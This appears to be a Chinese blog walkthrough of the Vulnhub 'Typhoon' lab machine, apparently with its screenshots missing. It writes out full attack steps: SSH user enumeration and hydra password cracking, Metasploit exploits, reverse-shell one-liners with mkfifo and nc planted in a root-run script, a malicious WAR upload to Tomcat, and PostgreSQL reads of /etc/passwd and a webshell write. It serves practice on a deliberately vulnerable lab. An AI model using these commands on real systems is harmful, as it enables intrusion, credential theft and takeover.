1. 程式人生 > >kali滲透綜合靶機(九)--Typhoon靶機

kali滲透綜合靶機(九)--Typhoon靶機

kali滲透綜合靶機(九)--Typhoon靶機

靶機下載地址:https://www.vulnhub.com/entry/typhoon-102,267/

一、主機發現

1.netdiscover -i eth0 -r 192.168.10.0/24,進過分析,確定192.168.10.162是目標靶機

  

二、埠掃描

1. masscan --rate=10000 -p0-65535 192.168.10.162

  

三埠服務識別

1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162

  

或nmap -sV -p- -A 192.168.10.162

  

  

  

四、漏洞查詢與利用

21埠(ftp)

nmap掃描可以匿名訪問

  

瀏覽器訪問,發現什麼都沒有

  

22埠(ssh)

發現ssh的版本是OpenSSH 6.6.1p1,存在使用者名稱列舉漏洞,使用msf中的ssh列舉指令碼(auxiliary/scanner/ssh/ssh_enumusers)

使用cewl收集頁面可能是使用者的資訊,並新增幾個常用的使用者名稱,製作一個使用者名稱字典

  

使用列舉使用者指令碼列舉使用者

python 40136.py 192.168.10.162 -U user.txt

枚舉出來使用者名稱為vulnerablevm,www,admin,root,admin123

  

使用hydra破解密碼

hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下圖成功破解admin賬戶的密碼metallica

  

嘗試用admin賬戶ssh登入目標,登入成功

  

開始提權,提權方式與下面的提權方式一樣

25埠(smtp) 

發現開放25埠,版本為Postfix smtpd

使用smtp-user-enum 列舉使用者名稱

smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,枚舉出使用者名稱admin

  

53埠(DNS  ISC BIND9.9.5-3)

檢視是否存在漏洞,發現dns版本存在拒絕服務漏洞

  

80埠(http Apache httpd 2.4.7)

1.掃描網站後臺目錄

  

1.1發現http://192.168.10.162/cms,嘗試弱口令,失敗

  

1.2漏洞庫查詢是否有對應的漏洞

  

1.3在kali中開啟msfconsole,並使用了以下exp

  

1.4成功獲得shell

  

1.5然後就是提權,提權方式有配置不當提權和核心提權

Drupal cms

2.1發現192.168.10.162/drupal/

  

2.2漏洞庫查詢是否有對應的漏洞

  

2.3在kali中開啟msfconsole,並使用了以下exp

  

2.4設定引數

  

2.5開始攻擊,成功獲得shell

  

2.6接下開便是提權了,提權方式和之前的一樣

1.3發現http://192.168.10.162/mongoadmin/

  

  

1.3.1發現是mondo的web管理頁面,點選change database,出現如下

  

1.3.2點選creds,發現賬戶密碼

  

1.3.3嘗試用ssh登入,成功登陸

  

1.3.4檢視系統版本以及核心版本

  

1.3.5在kali檢視是否有對應的漏洞

  

1.3.6下載、編譯、提權

  

1.3.7利用sudo提權,前提是已經獲得當前普通使用者的密碼,並且當前使用者屬於sudo組,下圖成功獲得管理員許可權

  

445埠

發現目標開放了445埠,使用enum4linux列舉目標共享資訊

  

發現允許空賬戶、空密碼登入,共享檔案typhoon

  

遠端掛載

mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt 

  

8080(http Apache Tomcat/Coyote JSP engine 1.1)

發現開放了8080,瀏覽器訪問http://192.168.10.162:8080

  

dirb掃描http://192.168.10.162:8080

  

發現http://192.168.10.162:8080/manager/,提示需要輸入密碼

使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat使用者名稱密碼

  

成功獲得tomcat使用者名稱密碼

  

使用獲得的使用者名稱登入,發現tomcat 的版本是Version 7.0.52

  

使用metasploit的一個模組tomcat_mgr_upload來嘗試進行登入,利用成功,獲得meterpreter會話

  

  

輸入shell,發現當前shell不是互動式的shell,重新開啟一個互動式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

  

開始提權

1.1檢視核心版本以及系統版本

  

1.2利用系統版本的漏洞,進行本地提權

  

2.利用配置不當進行提權

  

2.2 我們需要使用Msfvenom建立一個bash程式碼

 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R

2.3之後將上面生成的惡意程式碼在目標靶機系統中新增到script.sh檔案

echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh

  

2.4在攻擊端開啟監聽,目標端執行指令碼,下圖可以看到直接獲得管理員許可權

  

3.1用低許可權使用者將構造的命令寫入script.sh,令檔案呼叫以root身份執行的/bin/sh,然後反彈shell,就可以獲得root許可權了

Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh

    

3.2在kali攻擊端監聽,獲得管理員許可權

  

Tomcat的後臺管理獲取shell

http://192.168.10.162:8080/manager/html

1.msfvenom來生WAR檔案

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war

  

2.使用7z l evil.war 檢視evulll.war具體內容

  

3.上傳evil.war檔案

  

4.攻擊端監聽,瀏覽器訪問上傳的惡意Web應用程式

http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp

  

5.這次攻擊端獲得反彈shell

  

6.接下來便是提權,方式和之前的一樣。

5432(PostgreSQL)

1.使用auxiliary/scanner/postgres/postgres_login,嘗試爆破PostgreSQL資料庫使用者名稱密碼

  

2.成功爆破出來PostgreSQL使用者名稱以及密碼

  

3.登入資料庫

psql -h 192.168.10.162 -U postgres

  

4.列下目錄

  

5. 讀取許可權允許的檔案

select pg_read_file('postgresql.conf',0,1000);

  

6.建表,並使用copy從檔案寫入資料到表

DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;

成功讀取到了/etc/passwd第一行

  

7.直接讀出所有資料

SELECT * FROM MrLee;

  

8.利用資料庫寫檔案

INSERT INTO MrLee(t) VALUES('hello,MrLee');

COPY MrLee(t) TO '/tmp/MrLee';

  

SELECT * FROM MrLee;

顯示裡面有一句hello,MrLee,成功寫入檔案,併成功讀取到源內容

  

9.寫入木馬

9.1建立OID,清空內容

SELECT lo_create(9999);

delete from pg_largeobject where loid=9999;

//建立OID,清空內容

  

9.2接下來就是寫入木馬了,使用hex

  

insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));

  

10.菜刀連線

  

11.接下來就是提權了

 

總結:

1.資訊收集、目錄掃描、漏洞分析與利用

2.getshell方法

  1.ssh爆破

  2.lotus cms漏洞利用

  3.Drupal cms漏洞利用

  4.mongoadmin 資料庫管理web頁面檢視使用者名稱、密碼

  5.tomcat tomcat_mgr_upload漏洞

  6.PostgreSQL未授權訪問 

3.提權方法

  1.sudo提權

  2.核心版本提權

  3.利用配置不當進行提權